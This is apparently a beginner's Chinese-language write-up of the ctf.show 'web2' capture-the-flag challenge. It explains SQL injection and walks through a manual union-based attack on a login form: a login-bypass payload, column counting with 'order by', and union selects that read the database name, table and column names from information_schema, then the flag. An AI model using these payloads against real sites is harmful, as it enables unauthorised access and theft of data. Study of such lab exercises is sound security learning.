CTF刷题笔记 | SQL手动注入入门 · ctf.show web2 题解

15 阅读2分钟

新手写作,文中若有疏漏,恳请各位老师批评指正。

一、SQL注入是什么?

简单来说,SQL 注入就是攻击者把恶意的 SQL 语句,通过网页的输入框、URL 参数等地方「掺」进后台数据库的查询语句里,让数据库执行非预期的操作 —— 比如偷数据、改数据,甚至拖库。

手动注入就是不靠工具,纯靠自己写 SQL 语句一步步测试、构造 Payload,这也是 CTF 里最常考的形式。

例子:
正常查询:select * from user where id=1
注入后:select * from user where id=1 or 1=1(直接查到所有数据)

二、题目

平台:ctf.show
题目:web2

三、解题思路

  1. 构造万能密码payload:admin' or 1=1#,密码:随便
  2. 登录成功,但是页面仅显示「欢迎你,ctfshow」没有找到我想要的flag。
  3. 那现在就只有SQL注入了,那么如何判断是否有SQL注入的呢?
  4. 输入页面都一模一样:就是回到登录页,啥也不提示,不报错、不说密码错、也不说成功。
'
admin' and 1=1#
admin' and 1=2#

只有输:

admin' or 1=1#

才会跳到“欢迎你,ctfshow”

所以:

  • ' → 错 → 登录页
  • admin' and 1=1# → 假 → 登录页
  • admin' and 1=2# → 假 → 登录页

即:

  • 只有条件为真的时候 → 才会登录成功
  • 条件为假 / 语法错 → 全都统一返回:空白登录页

由此可确定:该登录框存在 SQL 注入漏洞

  1. 判断列数
' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#

前3列都显示“欢迎您,ctfshow”,但是判断到4时,报错了.说明有3列。

  1. 判断回显位置
' or 1=1 union select 1,2,3#

  1. 查当前数据库名

    ' or 1=1 union select 1,database(),3#

  1. 查该数据库下的所有表名 (两种写法都可以)
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

  1. 查目标表中的所有字段名
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

  1. 查询 flag 内容
' or 1=1 union select 1,flag,3 from flag#